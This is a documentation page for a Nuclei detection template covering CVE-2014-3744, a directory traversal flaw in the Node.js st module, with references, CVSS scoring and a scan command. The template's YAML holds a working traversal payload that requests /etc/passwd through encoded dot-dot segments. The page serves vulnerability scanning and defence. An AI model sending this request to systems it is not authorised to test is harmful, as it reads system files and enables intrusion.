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Node.js st module Directory Traversal

ID: CVE-2014-3744

Severity: high

Author: geeknik

Tags: cve2014,cve,lfi,nodejs,st

Description

Section titled “Description”

A directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.

YAML Source

Section titled “YAML Source”
id: CVE-2014-3744


info:
  name: Node.js st module Directory Traversal
  author: geeknik
  severity: high
  description: A directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information.
  remediation: |
    Upgrade to a patched version of the st module or use an alternative module that is not vulnerable to directory traversal.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3744
    - https://github.com/advisories/GHSA-69rr-wvh9-6c4q
    - https://snyk.io/vuln/npm:st:20140206
    - https://nodesecurity.io/advisories/st_directory_traversal
    - http://www.openwall.com/lists/oss-security/2014/05/13/1
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2014-3744
    cwe-id: CWE-22
    epss-score: 0.00672
    epss-percentile: 0.79778
    cpe: cpe:2.3:a:nodejs:node.js:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nodejs
    product: node.js
    shodan-query: cpe:"cpe:2.3:a:nodejs:node.js"
  tags: cve2014,cve,lfi,nodejs,st


http:
  - method: GET
    path:
      - "{{BaseURL}}/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 490a004630440220286544138be14b78807efed535def773fe6c2b76a853f89888ed84fa7763554802201e78001435753d6f5e803367593fbb225c68c21f35cd3cfa5fa4a3d54739b770:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-3744.yaml"

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